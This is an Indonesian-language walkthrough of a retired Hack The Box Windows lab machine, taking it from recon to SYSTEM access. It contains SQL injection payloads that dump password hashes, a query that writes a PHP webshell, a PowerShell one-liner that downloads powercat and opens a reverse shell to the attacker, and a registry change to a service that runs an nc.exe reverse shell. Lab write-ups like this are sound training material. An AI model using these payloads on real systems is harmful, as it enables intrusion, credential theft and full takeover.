Mesin maker kali ini adalah TRX, sistem operasi yang digunakan adalah Windows dan tingkatan dari mesin ini adalah Hard. Mesin ini direlease pada tanggal 23 Nov 2019 dan retired pada tanggal 26 April 2020 dini hari waktu indonesia bagian barat (WIB).
Seperti biasa hal yan pertama kita lakukan adalah Reconnaissance & Enumeration.
Pertama kita akan memulai dengan pemindaian port menggunakan nmap, dari hasil pemindaian tersebut, kita mendapatkan port yang terbuka :
Melakukan methode GET request menggunakan Burpsuite untuk melihat response secara langsung.
Dari gambar diatas kita menemukan hal menarik seperti sebuah komentar yang mengungkapkan Internal IP .
Internal IP : 192.168.4.28
Path lainya seperti Page Admin dan Page login kita tidak dapat mengaksesnya karena tidak di izinkan.
Penyebab dikarenakan ada sebagian header yang missing, dan kita juga diharuskan untuk menggunakan proxy untuk mengaksesnya. Menambahkan HTTP Header X-Forwarded-For :
ataupun kita juga dapat menggunakan ekstensi X-Forwarded-For di browser
Setelah kita memasukan header tersebut dengan benar , kita dapat mengakses halaman admin.
Memasukan query single qoutes pada kolom pencarian dan memberikan respon SQL Syntax Error, yang artinya parameter di kolom pencarian tersebut rentan terhadap serangan SQL Injection.
Disini kita sudah tau ada berapa kolom dan sebagainya, mari kita lihat version dari MySQL .
Papoy' union select version(),NULL,NULL,NULL,NULL,NULL --
Versi yang digunakan adalah 10.4.8-MariaDB
Papoy' union select user,password,NULL,NULL,NULL,NULL from mysql.user --
Username dan Password hash sudah didapatkan, selanjutnya kita akan melakukan cracking terhadap password hash tersebut.
Disini kita dapat menggunakan beberapa tools cracking online seperti Crackstation ataupun Hashkiller.
Username | Password Hash | PlainText |
Manager | CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA | l3tm3!n |
Hector | 0E178792E8FC304A2E3133D535D38CAF1DA3CD9D | l33th4x0rhector |
Informasi ini kita simpan terlebih dahulu, user dan password ini akan bermanfaat di saat kita sudah mendapatkan akses shell / RCE
Kita akan memanfaatkan serangan SQL Injection untuk menambahkan file di webserver, dengan ketentuan kita harus mempunyai previlege yang cukup dan mengetahui lokasi path yang writable ( C:/inetpub /wwwroot )
Untuk melakukannya, kita dapat menggunakan tools otomatis seperti sqlmap untuk mempermudah mengupload sebuah file ataupun secara manual.
Papoy' union select "<?php echo shell_exec($_GET['cmd']);?>",NULL,NULL,NULL,NULL,NULL Into OutFile 'C:\\inetpub\\wwwroot\\Webshell.php'; --
Pada query tersebut kita akan membuat sebuah file yang bernama Webshell.php
dengan memanfaatkan fungsi shell_exec untuk mengeksekusi suatu perintah .
File yang kita buat tadi sudah berhasil di upload dan kita dapat menjanlankan berbagai perintah seperti gambar diatas.
Ditahapan selanjutnya kita akan berusaha mendapatkan akses shell dari server tersebut, dengan mengupload sebuah file reverse shell menggunakan Powershell.
Selanjutnya kita akan menyiapkan sebuah file untuk melakukan reverse shell melalui Powershell. Kita akan menggunakan tools powercat, sederhanya Powercat ini semacam netcat yang dibuat menggunakan powershell script.
powershell IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.165/powercat.ps1');powercat -c 10.10.14.165 -p 9999 -e cmd
Jalankan perintah tersebut di webshell yang telah kita upload tad,
kemudian listener yang telah kita buat, mendapatkan balasan dari server target dan kitapun sudah mendapatkan akses shell .
Akses shell yang kita dapatkan memiliki previleged yang sangat rendah, sehingga kita tidak dapat membaca ataupun masuk ke folder Hector .
Masih ingat dengan user yang kita dapatkan tadi ?.
User itu dapat digunakan untuk login ke sistem target menggunakan Windows Remote Management (WinRM). Tapi sayangnya layanan tersebut ke filter jika kita mengaksesnya dari luar, maka dari itu kita coba melihat aktifitas port yang ngebind ke local menggunakan perintah netstat -aon.
Port 5986 WinRM (Windows Remote Management) Bind ke localhost
Agar kita dapat mengaksesnya, kita akan membuat tunneling menggunakan plink.exe. plink.exe Ini adalah versi console dari putty.
Upload file plink ke mesin target.
Invoke-WebRequest "http://10.10.14.165/plink.exe" -OutFile "C:\inetpub\wwwroot\uploads\plink.exe"
Selanjutnya jika sudah berhasil, kita jalankan dengan memasukan perintah seperti gambar dibawah ini
Nah sekarang kita dapat login menggunkan evil-winrm menggunakan credentials si Hector dan mendapatkan flag user.txt
Setelah melakukan enumerasi yang cukup panjang, user Hector memiliki akses full control terhadap service Automatic Updates (wuauserv). Dengan adanya service ini, kita dapat mengabuse service tersebut untuk mendapatkan akses yang lebih tinggi .
Kita dapat menggukan Cmdlet Get-Acl untuk melihat Access Control List (ACL) yang dimiliki oleh masing" user ataupun sistem .
get-acl HKLM:\System\CurrentControlSet\services\* | Format-Table
​Wuauserv is a Windows system service of the Windows Update feature. It runs only when Windows Update is running.
reg add "HKLM\System\CurrentControlSet\services\wuauserv" /t REG_EXPAND_SZ /v ImagePath /d "C:\inetpub\wwwroot\uploads\nc.exe -e powershell 10.10.14.165 1337" /f
Jika perintah reverse shell kita sudah masuk ke registry dengan bernar, tampilanya akan seperti gambar dibawah ini
Kemudian restart service wuaserv ini dengan memasukan perintah
Start-Service wuauserv
Setelah tahapan restart sudah dilakukan, tunggu beberapa saat dan kitapun akan mendapatkan akses shell dengan user sebagai NT AUTHORITY\SYSTEM
Terimakasih, Kalo di rasa tulisan ini bermanfaat, silahkan Share. Semoga kebermanfaatan ini terus berlanjut!
Teman teman juga dapat mendownload tulisan ini dalam format pdf.
​